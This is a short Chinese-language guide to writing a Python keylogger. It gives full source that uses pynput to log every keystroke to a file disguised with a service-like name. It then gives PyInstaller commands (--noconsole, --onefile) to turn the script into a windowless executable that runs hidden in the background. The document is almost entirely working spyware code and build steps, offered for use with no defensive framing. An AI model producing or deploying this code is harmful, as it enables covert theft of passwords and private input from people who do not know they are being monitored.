编写 keylogger.py
import logging
from pynput import keyboard
# 设置日志文件路径
log_path = "C:\\sdklog\\keylog_service.log"
# 配置日志
logging.basicConfig(
filename=log_path,
level=logging.INFO,
format="%(asctime)s - %(message)s"
)
def on_press(key):
try:
# 尝试记录常规按键
logging.info(f'Key pressed: {key.char}')
except AttributeError:
# 记录特殊按键
logging.info(f'Special key pressed: {key}')
def on_release(key):
# 此函数现在不会中断监听器
pass
# 启动全局键盘监听器
def start_keylogger():
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if __name__ == "__main__":
logging.info("Starting keylogger...")
start_keylogger()
logging.info("Keylogger stopped.")
pip install pynput
pip install pyinstaller
pyinstaller --noconsole --onefile keylogger.py
• --noconsole:指定不显示控制台窗口。
• --onefile:将所有依赖打包到一个可执行文件中。
转换成功后,你会在 dist 文件夹中找到生成的 keylogger.exe。双击运行后,脚本将会在后台运行而不显示任何窗口。